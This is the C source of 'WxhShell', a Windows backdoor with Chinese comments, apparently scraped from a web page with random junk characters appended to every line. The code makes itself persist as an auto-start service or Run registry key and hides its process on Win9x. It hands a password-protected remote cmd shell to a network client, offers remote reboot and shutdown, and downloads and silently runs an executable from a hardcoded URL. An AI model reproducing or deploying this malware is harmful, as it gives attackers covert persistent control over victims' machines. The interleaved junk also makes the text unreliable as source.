    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NJ<F>3  
    else { Q?vlfZR`8  
    closesocket(wsh); (e~Nq  
    ExitThread(0); 6'/ #+,d'  
    } D^O@'zP=At  
    break; 6 N4~~O  
    } \85i+q:LuA  
  // 获取shell gJXaPJA{  
  case 's': { +rd+0 `}C  
    CmdShell(wsh); AKC`TA*E  
    closesocket(wsh); =  [E  
    ExitThread(0); 8=l%5r^cq  
    break; cr3^6HB  
  }  @5FQX  
  // 退出 bw7@5=?;  
  case 'x': { t# i #(H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b;n[mk  
    CloseIt(wsh); az$FnVNn=  
    break; v+XJ*N[W  
    } %v|B *  
  // 离开 vzM ^$V  
  case 'q': { .]^?<bG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ueudRb  
    closesocket(wsh); G[=c Ss,  
    WSACleanup(); pP_LR ks}  
    exit(1); O-^Ma- }  
    break; _XBd3JN@  
        } C]6O!Pb0  
  } )e{aN+  
  } Hka2  
5O% {{J  
  // 提示信息 (>Em^(&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I,tud!p`  
} { FkF  
  } ^W ^OfY  
@dK Tx#gZ  
  return; `3pW]&  
} 'DR!9De  
eFgA 8kY)  
// shell模块句柄 7dWS  
int CmdShell(SOCKET sock) ,bi^P>X  
{ wMn i  
STARTUPINFO si; Tk}]Gev  
ZeroMemory(&si,sizeof(si)); j%kncGS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (=0.inZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M]^5s;y  
PROCESS_INFORMATION ProcessInfo; F8=+j_UGI  
char cmdline[]="cmd"; By |4 m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Mbz3;i0  
  return 0; ?< +WG/(d  
} @{Q4^'K"  
S[gx{Bxiw  
// 自身启动模式 7#XzrT]  
int StartFromService(void) {c'lhUB  
{ ]Ze1s02(  
typedef struct 0B2t"(&  
{ 4x34u}l  
  DWORD ExitStatus; %J(:ADu]  
  DWORD PebBaseAddress; W\3X=@|u)  
  DWORD AffinityMask; Y<OFsWYY  
  DWORD BasePriority; dPlV>IM$z  
  ULONG UniqueProcessId; T)/eeZ$  
  ULONG InheritedFromUniqueProcessId; 0J9x9j`&j  
}   PROCESS_BASIC_INFORMATION; o/E >f_k[  
jcOcWB|  
PROCNTQSIP NtQueryInformationProcess; 1}x%%RD_  
b6bHTH0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k[xSbs'D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pBHRa?Y5  
x5Bk/e'  
  HANDLE             hProcess; 3og.y+.=U.  
  PROCESS_BASIC_INFORMATION pbi; ZK,G v  
B\~}3!j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oJ^P(]dw  
  if(NULL == hInst ) return 0; X ?O[r3<  
K;?+8(H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V[LglPt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VA%J\T|G2\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I7onX,U+  
 B,@i  
  if (!NtQueryInformationProcess) return 0; z/-=%g >HA  
d]9z@Pd   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2/?|&[  
  if(!hProcess) return 0; ch]IzdD  
Q &8-\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }j Xfb@`K  
O- wzz  
  CloseHandle(hProcess); -7ep{p-  
sJZ iI}Xc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G|Ti4_w  
if(hProcess==NULL) return 0; 9up3[F$  
t@(HF-4~=  
HMODULE hMod; Rcuz(yS8  
char procName[255]; 1 MFbQs^  
unsigned long cbNeeded; 00(\ZUj  
VY-EmbkG-t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6ujW Nf  
I9^x,F"E]  
  CloseHandle(hProcess); 10&8-p1/mc  
[^iN}Lz  
if(strstr(procName,"services")) return 1; // 以服务启动 hrk r'3lv  
wYea\^co  
  return 0; // 注册表启动  mh%VrA q  
} b%+Xy8a  
a?1Wq  
// 主模块 KI.unP%  
int StartWxhshell(LPSTR lpCmdLine) *. t^MP  
{ NEs:},)o  
  SOCKET wsl; xT8?&Bx  
BOOL val=TRUE; iZmcI;?u  
  int port=0; +A+)=/i;  
  struct sockaddr_in door; UKGPtKE<  
K/$KI7 P  
  if(wscfg.ws_autoins) Install(); q.vIc ?a  
CpN>p.kM  
port=atoi(lpCmdLine); Wwo0%<2y  
e-;}366}  
if(port<=0) port=wscfg.ws_port; !WlH'y-I  
6Wn1{v0  
  WSADATA data; 4+n\k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;uW FHc5@B  
i b m4fa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }p V:M{Nu&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /r 5eWR1G  
  door.sin_family = AF_INET; y =@N|f!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZSw.U:ep$s  
  door.sin_port = htons(port); 6)J#OKZ  
st*gs-8jJ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /Oono6j  
closesocket(wsl); Ri'n  
return 1;  ]~-r} `]  
} @EAbF>>  
ZCw]m#lS  
  if(listen(wsl,2) == INVALID_SOCKET) { NK+o1   
closesocket(wsl); KvS G;  
return 1; ooGM$U  
} Gj*9~*xm(  
  Wxhshell(wsl); %O<BfIZ  
  WSACleanup(); Cx"sw }  
xno\s.H%]  
return 0; XW9!p.*.U  
 _F{C\}  
} ~&O%N  
]n~V!hl?A  
// 以NT服务方式启动 }JfjX '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?2a$*(  
{ k)u[0}   
DWORD   status = 0; u2I Cl  
  DWORD   specificError = 0xfffffff; BUFv|z+H  
Efe 7gE'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g0H[*"hj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9mgIUjz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^Cmyx3O^  
  serviceStatus.dwWin32ExitCode     = 0; $>gFf}#C  
  serviceStatus.dwServiceSpecificExitCode = 0; E^PB)D(.  
  serviceStatus.dwCheckPoint       = 0; eyaNs{TV  
  serviceStatus.dwWaitHint       = 0; llDJ@  
GILfbNcd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NA*&#X#~  
  if (hServiceStatusHandle==0) return; C~[,z.FvO  
^aQ"E9  
status = GetLastError(); Cw%{G'O   
  if (status!=NO_ERROR) Ru XC(qcq  
{ 0V]s:S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "b[5]Y{ U  
    serviceStatus.dwCheckPoint       = 0; mmsPLv6  
    serviceStatus.dwWaitHint       = 0; l2d{ 73h  
    serviceStatus.dwWin32ExitCode     = status; d _ e WcI  
    serviceStatus.dwServiceSpecificExitCode = specificError; a?.=V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B *vM0  
    return; hph4`{T  
  } \ jA~9  
>7r!~+B"9'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S'14hk<  
  serviceStatus.dwCheckPoint       = 0; v:p}B$  
  serviceStatus.dwWaitHint       = 0; hSMH,^Io$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [Q =N n  
} z~Q)/d,Ac  
*A< 5*Db:F  
// 处理NT服务事件,比如:启动、停止 ckn~#UE=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5uf a  
{ BHw, 4#F1;  
switch(fdwControl) *H122njH+T  
{ F/Pep?'  
case SERVICE_CONTROL_STOP: D0C y^_  
  serviceStatus.dwWin32ExitCode = 0;  IB<d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t Pf40`@  
  serviceStatus.dwCheckPoint   = 0; $cR{o#  
  serviceStatus.dwWaitHint     = 0; i!cCMh8  
  { p7Cs.2>M>S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Z+%d9ode  
  } KG@8RtHsQ  
  return; 8f7>?BUS,  
case SERVICE_CONTROL_PAUSE: | 3%8&@ho  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2%> FR4a  
  break; oE~RyS X  
case SERVICE_CONTROL_CONTINUE: OTp]Xe/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6#yUc_5 \  
  break; j4b4!^fV  
case SERVICE_CONTROL_INTERROGATE: AEuG v}#  
  break; Y~Ifj,\  
}; eq"]%s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ug`djIL  
} ^&)|sP  
b2]Kx&!  
// 标准应用程序主函数 jIF |P-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bf:Q2slqI  
{ B:QHwzd  
XM}hUJJW  
// 获取操作系统版本 Q^I\cAIB  
OsIsNt=GetOsVer(); to\N i~a&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CJ%I51F`X  
 9a kH  
  // 从命令行安装 |M_UQQAB|  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8D].MI^  
<1 pEwI~  
  // 下载执行文件 + )?J#g  
if(wscfg.ws_downexe) { fQ98(+6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Th[dW<  
  WinExec(wscfg.ws_filenam,SW_HIDE); q9NoI(]e  
} _FEF x  
Nluoqo ac  
if(!OsIsNt) { _rYkis^ u  
// 如果时win9x,隐藏进程并且设置为注册表启动 |%v^W3  
HideProc(); 6 r_)sHf  
StartWxhshell(lpCmdLine); <ih[TtZ  
} -![|}pX  
else +*^H#|!  
  if(StartFromService()) v3qA":(w+(  
  // 以服务方式启动 b6M  
  StartServiceCtrlDispatcher(DispatchTable); *' X3z@R  
else s <Fl p  
  // 普通方式启动 Kg$ Mx  
  StartWxhshell(lpCmdLine); `W-Fssu  
4fzZ;2sl}  
return 0; akT6^cP^  
} >3_Gw4S*H  
.~}1+\~5  
"\=U)CJ  
pmilrZmm]  
=========================================== \;-|-8Q  
4X$Qu6#i  
s@DLt+ O5  
iX\X>W$P  
Z8oK2Dw  
,(4K4pN  
" ASfaX:ke  
]~nKK@Rw  
#include <stdio.h> :aQt;C6Z>  
#include <string.h> :yjFQ9^?&  
#include <windows.h> ;GhNKPY  
#include <winsock2.h> 7)k\{&+P  
#include <winsvc.h> km40qO@3  
#include <urlmon.h> xvy.=(  
}{"fJ3] c^  
#pragma comment (lib, "Ws2_32.lib") 4e1Y/ Xq`  
#pragma comment (lib, "urlmon.lib") _[y/Y\{I  
'7@R7w!E4H  
#define MAX_USER   100 // 最大客户端连接数 :eg4z )  
#define BUF_SOCK   200 // sock buffer Lk$B{2^n  
#define KEY_BUFF   255 // 输入 buffer Z<4AL\l 98  
^I)N. 5  
#define REBOOT     0   // 重启 _~ &iq1  
#define SHUTDOWN   1   // 关机 <9%R\_@$H  
g[t [/TV   
#define DEF_PORT   5000 // 监听端口 * H9 8Du  
V_:&S2j  
#define REG_LEN     16   // 注册表键长度 :hV7> rr  
#define SVC_LEN     80   // NT服务名长度 S@Hf &hJ  
)Beiu*  
// 从dll定义API ?rup/4|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3&/Ixm:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bw{I;rW{2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -GgA&dh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y DFyX){  
(khL-F  
// wxhshell配置信息 &f;K}W O  
struct WSCFG { 5^KWCS7@  
  int ws_port;         // 监听端口 OC:T O|S:4  
  char ws_passstr[REG_LEN]; // 口令 3Hm/(C  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4g7)iL^#~  
  char ws_regname[REG_LEN]; // 注册表键名 Y#3c }qb  
  char ws_svcname[REG_LEN]; // 服务名 ,u g@f-T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AFfAtu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0AV c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2dzrRH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A={UL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p6WX9\qS(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6i*sm.SDw  
D)'bH5  
}; TW>WHCAm  
*|E[L^  
// default Wxhshell configuration ;ZG\p TCA  
struct WSCFG wscfg={DEF_PORT, 65m"J'  
    "xuhuanlingzhe", ?NP1y9Y]i  
    1, rc>6.sM %  
    "Wxhshell", \B 7tX  
    "Wxhshell", )];K .zP  
            "WxhShell Service", jZ3fKyp#   
    "Wrsky Windows CmdShell Service", 0P(!j_2m  
    "Please Input Your Password: ", 1>&]R=  
  1, O,A{3DAe0  
  "http://www.wrsky.com/wxhshell.exe", 27< Enq]  
  "Wxhshell.exe" Q1l' 7N  
    }; c{LO6dNg\z  
|B2+{@R  
// 消息定义模块 PJ'E/C)i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Cs ifKHI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AnvRxb.e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f f1c/c/  
char *msg_ws_ext="\n\rExit."; !#" zTj  
char *msg_ws_end="\n\rQuit.";  =4!e&o  
char *msg_ws_boot="\n\rReboot..."; C\/L v.  
char *msg_ws_poff="\n\rShutdown..."; O<;3M'y\  
char *msg_ws_down="\n\rSave to "; H]jhAf<h  
vFK<J Sk!  
char *msg_ws_err="\n\rErr!"; j9OG\m  
char *msg_ws_ok="\n\rOK!";  bnLPlf  
7( 2{'r  
char ExeFile[MAX_PATH]; Y7[jqb1D  
int nUser = 0; bD8Gwi=iiu  
HANDLE handles[MAX_USER]; P_#bow  
int OsIsNt; l?^4!&Nm  
t>B;w14  
SERVICE_STATUS       serviceStatus; <kd1Nrr!p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SG4%}wn%  
m7>JJX3=<  
// 函数声明 [\b 0Lem  
int Install(void); E1U",CMU  
int Uninstall(void); /_#q@r4ZQ  
int DownloadFile(char *sURL, SOCKET wsh); 6qd\)q6T&x  
int Boot(int flag); QZ%`/\(!8_  
void HideProc(void); MO <3"@/,  
int GetOsVer(void); NS6:yX,/  
int Wxhshell(SOCKET wsl); AlW66YAuQ  
void TalkWithClient(void *cs); Sa`Xf\  
int CmdShell(SOCKET sock); = +?7''{>  
int StartFromService(void); 9v!1V,`j"  
int StartWxhshell(LPSTR lpCmdLine); !GEJIefx_  
g^ i&gNDx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ; p{[1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _W'-+,  
?_"ik[w}  
// 数据结构和表定义 :'&brp3ii=  
SERVICE_TABLE_ENTRY DispatchTable[] = Zdo'{ $  
{ Yr=Y@~ XL  
{wscfg.ws_svcname, NTServiceMain}, h@]XBv  
{NULL, NULL} Bv%GJ*>>  
}; l/ ;  
c#tjp(-  
// 自我安装 Y.ToIka{  
int Install(void) A^EE32kbm  
{ 1,!(0 5H  
  char svExeFile[MAX_PATH]; W#C*5@8  
  HKEY key;  XJ5 .  
  strcpy(svExeFile,ExeFile);  A4<Uu~  
m&?r%x  
// 如果是win9x系统,修改注册表设为自启动 A1?2*W  
if(!OsIsNt) { ;H.^i|_/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p >t#@Eu|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JNUt$h  
  RegCloseKey(key); zeC RK+-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u4%Pca9(=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6ez<g Uf  
  RegCloseKey(key); M$8^91%4B  
  return 0; oW Nh@C  
    } tWa) _y  
  } 8rS:5:Hi  
} X~,aNRy  
else { _v=SH$O+  
w+E,INd i  
// 如果是NT以上系统,安装为系统服务 pKrN:ExB"\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 58J}{Req  
if (schSCManager!=0) zb<6 Ov  
{ q,eVjtF  
  SC_HANDLE schService = CreateService W+X6@/BO  
  ( t9:0TBt-[  
  schSCManager, .oUTqki  
  wscfg.ws_svcname, *zL}&RUKM  
  wscfg.ws_svcdisp, <=0 u2~E  
  SERVICE_ALL_ACCESS, `eCo~(F y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8-%TC\:  
  SERVICE_AUTO_START, sC b=5uI  
  SERVICE_ERROR_NORMAL, wInh~p  
  svExeFile, %vhnl'  
  NULL, Z//+Gw<'  
  NULL, sAD}#Zw$  
  NULL, )i^<r;_z  
  NULL, vv+z'(l  
  NULL QR0Q{}wbqU  
  ); 0C6-GKbZ  
  if (schService!=0) %k?U9pj^  
  { ;Q*or2"!  
  CloseServiceHandle(schService); 2M'[,Xe  
  CloseServiceHandle(schSCManager); Z>Wg*sZy)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4 bH^":i(  
  strcat(svExeFile,wscfg.ws_svcname); pF Rg?-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r^a7MHY1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $LFYoovX  
  RegCloseKey(key); ssxzC4m  
  return 0; y6, /:qm  
    } scou%K  
  } GV69eG3bX#  
  CloseServiceHandle(schSCManager); Q;JM$a?5iV  
} QKN+>X  
} 474SMx$  
nd1+"-,q  
return 1; cH?B[S;]  
} 5ZK@`jkE  
c~uKsU  
// 自我卸载 Vq?p|wy  
int Uninstall(void) ,+xB$e  
{ c>RFdc:U  
  HKEY key; F!Q@ u  
 jQ  
if(!OsIsNt) { &Ao+X=qw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u5 : q$P  
  RegDeleteValue(key,wscfg.ws_regname); /qGf 1MHD  
  RegCloseKey(key); \2"I;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W=vP]x >J  
  RegDeleteValue(key,wscfg.ws_regname); \GZM&Zd  
  RegCloseKey(key); Ksj -zR;  
  return 0; z'\_jaj^  
  } Slher0.Y  
} \BZhf?9U  
} S(8$S])0  
else { P5nO78  
]? g@jRs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ua]o6GlO  
if (schSCManager!=0) _EMwm&!  
{ $?<Z!*x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .=;3d~.]  
  if (schService!=0) u!X|A`o5i  
  { qHrA%k^!2O  
  if(DeleteService(schService)!=0) { NzSoqh{R  
  CloseServiceHandle(schService); F,dx2ZPIs?  
  CloseServiceHandle(schSCManager); cy3B({PLy  
  return 0; s1NKLt  
  } FUjl8b-|  
  CloseServiceHandle(schService); W 7\f1}]H  
  } }w<7.I  
  CloseServiceHandle(schSCManager); dA0.v+Foz"  
} @EpIh&  
} o .G!7  
<55 g3>X  
return 1; C/kW0V7  
} db6b-Y{   
lfz2~Si5A  
// 从指定url下载文件 fb8g7H|  
int DownloadFile(char *sURL, SOCKET wsh) I}6\Sv=  
{ t&CJ% XP  
  HRESULT hr; PuT@}tw  
char seps[]= "/"; l q&wXi  
char *token; YWe"zz  
char *file; GlT7b/JCG  
char myURL[MAX_PATH]; !~&R"2/  
char myFILE[MAX_PATH]; .5,(_p^  
4V==7p x(  
strcpy(myURL,sURL); s6zNV4  
  token=strtok(myURL,seps); `_{`l4i 5  
  while(token!=NULL) J}+6UlD  
  { "a1n_>#Fb  
    file=token; 7MHKeLq  
  token=strtok(NULL,seps); &LVn6zAba  
  } jeX^}]x|%  
3]UUG  
GetCurrentDirectory(MAX_PATH,myFILE); RUT,Y4 b  
strcat(myFILE, "\\"); FPI;Jx6W'  
strcat(myFILE, file); ^[XYFQTL  
  send(wsh,myFILE,strlen(myFILE),0); .wu xoq  
send(wsh,"...",3,0); w1#gOwA,$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?zVL;gVWA  
  if(hr==S_OK) ;u(<h?%e  
return 0; M8Z2Pg\0  
else b7tOo7aH)  
return 1; : b~6i%b  
U1RpLkibQ  
} [uls8 "^/j  
u1PaHgi$  
// 系统电源模块 &c%g  
int Boot(int flag) &PK\|\\2  
{ Q|L9g z[?  
  HANDLE hToken; rJ{O(n]j  
  TOKEN_PRIVILEGES tkp; 1/-43B  
)ZqJh  
  if(OsIsNt) { 9Z'8!$LYg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q51Uf_\/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p)3U7"q  
    tkp.PrivilegeCount = 1;  {=QiZWu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qt 2d\f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S.q].a  
if(flag==REBOOT) { ct,l^|0Hu8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W.0L:3<"  
  return 0; Z%Zd2 v  
} .0O2Qqdg  
else { LLXVNO@e+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P2'DD 3   
  return 0; !0C^TCuG  
} sWblFvHqrU  
  } SD$h@p=!=  
  else { eI:C{0p=  
if(flag==REBOOT) { J6G(_(d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E7)= `kSl  
  return 0; .h5[Q/*h  
} .]7Qu;L  
else { )R  2.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MxcFvo*LCp  
  return 0; 7=OQ8IM !  
} H4!+q:<  
} /E5 5Pec  
~\3kx]^10  
return 1; Z(_ZAB%+D  
} *`Yv.=cd  
;cz|ss=  
// win9x进程隐藏模块 Ox'/` Mppw  
void HideProc(void) >P $;79<  
{ ~JD nKo  
`zt_7MD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vy,^)]  
  if ( hKernel != NULL ) ;~u{56  
  { k{$ ao  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (%o2jroQ#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0`A~HH}  
    FreeLibrary(hKernel); 0}xFD6{X  
  } k`p74MWu  
]t*[%4  
return; $aPfGZ<i  
} ]&{ci  
@L:>!<  
// 获取操作系统版本 01. &> Duw  
int GetOsVer(void) 9Xo[(h)5d  
{ zC:wNz@zK  
  OSVERSIONINFO winfo; ^e>Wo7r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dwv6;x  
  GetVersionEx(&winfo); qTo-pA G`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fH ?ha  
  return 1; z.VyRBi0  
  else >ap1"n9k  
  return 0; J@ktyd(P  
} { F};n?'  
8Bq!4uq\5|  
// 客户端句柄模块 .rJiyED?!  
int Wxhshell(SOCKET wsl) MqA`yvQm  
{ &0BdUU+:<  
  SOCKET wsh; y&=ALx@  
  struct sockaddr_in client; (V%`k'N7f  
  DWORD myID; d k<XzO~g  
NwR}yb6  
  while(nUser<MAX_USER) Z@%HvB7  
{ ;kJA'|GX  
  int nSize=sizeof(client); i^!ez5z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &"mzwQX  
  if(wsh==INVALID_SOCKET) return 1; Q;J`Q wkH  
2kUxD8BcN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iTg;7~1pY  
if(handles[nUser]==0) @b3#X@e}  
  closesocket(wsh); A &9(mB  
else okFvn;  
  nUser++; T'aec]u  
  } l?)ZJ3]a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H7k PM[  
a9?y`{%L  
  return 0; ?kz+R'  
} ^p/Ob'!  
N9<Ujom  
// 关闭 socket h}Wdh1.M3  
void CloseIt(SOCKET wsh) 1uk 0d`JL  
{ *79m^  
closesocket(wsh); ?}Lg)EFH  
nUser--; `3'0I/d"z  
ExitThread(0); ~b|`'kU  
} 1I}b|6 `  
$CE[MZ&S  
// 客户端请求句柄 C}*cx$.  
void TalkWithClient(void *cs) ^Mk%z9 ?  
{ %D`,k*X  
\rV B5|D?  
  SOCKET wsh=(SOCKET)cs; D*Q.G8(  
  char pwd[SVC_LEN]; 5I@w~z  
  char cmd[KEY_BUFF]; lw(e3j  
char chr[1]; U70]!EaT  
int i,j; PSmfiaThwo  
[|3>MZ2/  
  while (nUser < MAX_USER) { 92'wkS  
KYxBVgJ  
if(wscfg.ws_passstr) { GBC*>Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N=)z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i o3yLIy,  
  //ZeroMemory(pwd,KEY_BUFF); *+b6B_u]  
      i=0; <p?&udqD  
  while(i<SVC_LEN) { -sMytHH.  
8g >b  
  // 设置超时 [!VOw@uz  
  fd_set FdRead; y9|K|xO[  
  struct timeval TimeOut; <d7V<&@o=  
  FD_ZERO(&FdRead); 7.+#zyF  
  FD_SET(wsh,&FdRead); 9=/N|m8.  
  TimeOut.tv_sec=8; [;b=A  
  TimeOut.tv_usec=0; g+C!kaC)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <[/%{sUNC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "XLe3n  
:;!\vfZbU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ 2u/n  
  pwd=chr[0]; H2-28XGc  
  if(chr[0]==0xd || chr[0]==0xa) { r CRgzC  
  pwd=0; VRW] a  
  break; 9%iFV N'  
  } Us~ X9n_F  
  i++; bxXiQa  
    } Y#01o&f0n  
,`8Y8  
  // 如果是非法用户,关闭 socket 2PSTGG8JV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n!He&  
} )DUL)S  
fH8!YQG8$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sst,dA V$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cv=GZGn-  
b]]N{: I  
while(1) { t^tCA -  
|@o6NZ<9N  
  ZeroMemory(cmd,KEY_BUFF); xkA2g[  
`$z)$VuP  
      // 自动支持客户端 telnet标准   zSjgx_#U  
  j=0; -&[z\"T  
  while(j<KEY_BUFF) { ;</Twm;:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (w2= 2$  
  cmd[j]=chr[0]; '?Iif#Z1  
  if(chr[0]==0xa || chr[0]==0xd) { <V_7|)'/A  
  cmd[j]=0; >AI<60/<  
  break; *N/hc  
  } 1;W=!Fx  
  j++; Z#Lx_*p]Q  
    } 8Xm@r#Oy5  
1ZKzumF  
  // 下载文件 H"+c)FGi  
  if(strstr(cmd,"http://")) { R.1Xst &i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M} .b" ljZ  
  if(DownloadFile(cmd,wsh)) 1=Ilej1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f8:$G.}i  
  else p`+VrcCBOd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /4joC9\AB  
  } i|\{\d  
  else { '0+$ m=   
\-. Tg!Q6  
    switch(cmd[0]) { ?(im+2  
  amB@N6*  
  // 帮助 \}inT_{g  
